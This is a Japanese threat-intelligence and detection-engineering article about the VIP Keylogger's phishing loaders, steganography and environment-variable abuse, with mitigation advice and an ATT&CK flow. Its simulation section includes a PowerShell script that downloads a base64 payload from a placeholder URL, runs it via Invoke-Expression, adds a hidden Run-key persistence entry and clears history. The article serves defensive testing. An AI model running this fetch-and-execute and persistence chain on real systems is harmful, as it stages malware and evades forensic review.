SOC Prime Bias: 中程度

18 May 2026 19:04 UTC

VIPキーロガーとその多層的な回避戦術

Author Photo
SOC Prime Team linkedin icon フォローする
VIPキーロガーとその多層的な回避戦術
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

VIP Keyloggerは、銀行からの支払い通知を装ったフィッシング餌を通じて配布されるモジュール型情報盗用の脅威です。その感染チェーンは、二重化、PNG画像のステガノグラフィー、および環境変数の悪用を使用して、最終的なキーロガーを起動する前にPowerShellステージを隠蔽する悪意のあるVBS、JavaScript、またはバッチベースのローダーに依存しています。アクティブ化すると、マルウェアはクレデンシャル、スクリーンショット、クリップボードの内容、Wi-Fiパスワードを捕捉し、複数のコマンドアンドコントロールチャネルを通じてデータを流出します。検出の取り組みは、疑わしいレジストリの変更、異常な環境変数の値、スクリプトの実行からバイナリペイロードへの異常な遷移に焦点を当てるべきです。

調査

Splunk Threat Research Teamは、2026年3月および4月に収集された200以上のローダーサンプルをレビューし、それらの命名パターン、ローダーバリアント、およびペイロード配信におけるPNGファイルのステガノグラフィーの使用を文書化しました。研究者たちは逆難読化プロセスを再現し、 INTERNAL_DB_CACHE 環境変数の悪用を特定し、 UserInitMprLogonScript レジストリキーへの永続化を追跡しました。レポートは、観察された各行動を関連するMITRE ATT&CK技術にマッピングし、検出エンジニアリングをサポートしました。

緩和策

組織は、強力な電子メールセキュリティ制御とURLフィルタリングを通じて最初のフィッシング試行を停止するべきです。防御者は HKCUEnvironment 値の作成と変更を監視し、特に最適化されたエントリや INTERNAL_DB_CACHE 変数の使用に注意するべきです。ユーザー書き込み可能なディレクトリからのスクリプトベースのローダーの実行を制限し、可能であればPowerShell制約言語モードを適用するべきです。エンドポイントセキュリティツールも aspnet_compiler.exe へのプロセスインジェクションや疑わしい netsh 活動を検出するべきです。

対応

VIP Keyloggerのインジケーターが検出された場合、影響を受けたホストを隔離し、揮発性メモリと最近のプロセス実行ログを収集し、既知のレジストリアーティファクト、PNGベースのコマンドアンドコントロールURL、および削除されたファイルを捜索するべきです。悪意のあるスクリプトは除去し、公開されたクレデンシャルをリセットし、関連するローダーのアーティファクトと永続メカニズムを環境全体で実施するべきです。

graph TB classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 initial_access[“<b>アクション</b> – <b>T1566 フィッシング</b><br/>悪意ある .vbs/.js/.bat ファイルをメールで配布”] class initial_access action execution[“<b>アクション</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>ホスト上でのステージャ実行”] class execution action obfuscation[“<b>アクション</b> – <b>T1027.016 ジャンクコード挿入</b>, <b>T1027.003 ステガノグラフィ</b>, <b>T1027.009 埋め込みペイロード</b><br/>隠蔽されたペイロード”] class obfuscation action persistence[“<b>アクション</b> – <b>T1574.007 実行フロー乗っ取り</b>(レジストリログオンスクリプト)<br/><b>T1037.001 起動スクリプト</b><br/>ログオン時に実行”] class persistence action priv_esc[“<b>アクション</b> – <b>T1055.002 プロセス注入PE</b>, <b>T1055.001 DLL注入</b>, <b>T1620 リフレクティブロード</b><br/>権限昇格と回避”] class priv_esc action credential_access[“<b>アクション</b> – <b>T1555.003 ブラウザデータ</b>, <b>T1056.001 キーロギング</b>, <b>T1115 クリップボードハイジャック</b><br/>認証情報の収集”] class credential_access action discovery[“<b>アクション</b> – <b>T1596.005 外部IP検出</b>(公開サービス)<br/><b>T1016.002 Wi-Fi探索</b><br/>ネットワーク情報収集”] class discovery action collection[“<b>アクション</b> – <b>T1113 画面キャプチャ</b><br/>デスクトップの視覚情報取得”] class collection action c2[“<b>アクション</b> – <b>T1071.001 Webプロトコル</b>およびTelegram API<br/>C2通信”] class c2 action defense_evasion[“<b>アクション</b> – <b>T1070.004 ファイル削除</b>, <b>T1070.010 インジケータ削除</b><br/>証拠削除”] class defense_evasion action initial_access –>|進行| execution execution –>|進行| obfuscation obfuscation –>|進行| persistence persistence –>|進行| priv_esc priv_esc –>|進行| credential_access credential_access –>|進行| discovery discovery –>|進行| collection collection –>|進行| c2 c2 –>|進行| defense_evasion

攻撃フロー

シミュレーション実行

前提条件:テレメトリ & ベースライン事前飛行チェックに合格している必要があります。

根拠:このセクションでは、検出ルールをトリガーするために設計された敵対者技術(TTP)の正確な実行を詳細に説明します。コマンドと説明文は、識別されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成する必要があります。抽象的または無関連な例は誤診の原因となります。

  • 攻撃の物語とコマンド:

    1. 初期偵察 – 攻撃者は Get-ADDomain (T1016.002) を使用してドメイン信頼関係を発見します。
    2. ペイロード取得Invoke-WebRequest (T1071.001) を使用して攻撃者はBase64でエンコードされたDLLをダウンロードし、キーロガー(T1056.001) を実装します。
    3. 環境変数によるステージング – ダウンロードされた文字列は、ユーザーレベルの環境変数として格納され、 [Environment]::SetEnvironmentVariableによって検出ルールが注目している環境変数の操作が行われます。
    4. 動的実行 – 攻撃者は即座にペイロードを Invoke-Expression $env:VIPPayload (T1059.001) で実行します。キーストローク、スクリーンショット(T1113) 、クリップボードデータ(T1115) のキャプチャを開始します。
    5. クリーンアップ – 永続化を確立した後 (たとえば、実行キー作成、T1037.001)、攻撃者は一時的なDLLをディスクから削除(T1070.004) し、環境変数を削除して法医学的な証拠を減少させます。
  • 回帰テストスクリプト: 以下のスクリプトは、正確なステップを再現し、シグマルールが期待するテレメトリを生成します。

    # VIP Keyloggerシミュレーション – PowerShell
    # -------------------------------------------------
    # 1. ダミーペイロードをダウンロードする(Base64 エンコードされた文字列)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. ペイロードをユーザーレベルの環境変数に格納
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Invoke-Expression でペイロードをデコードして実行
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4.(オプション)実行キーで永続化を実証 – T1037.001 を示す
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5.クリーンアップ – 環境変数と実行キーエントリを削除
    Start-Sleep -Seconds 30   # 一部の活動が記録されるのを許可
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • クリーンアップコマンド: テスト後、システムを完全な状態に戻すために以下のコマンドを実行してください。

    # テストで作成された環境変数を削除
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # 永続化実行キーエントリを削除(存在する場合)
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # 残留するPowerShell履歴エントリをクリア(任意)
    Clear-History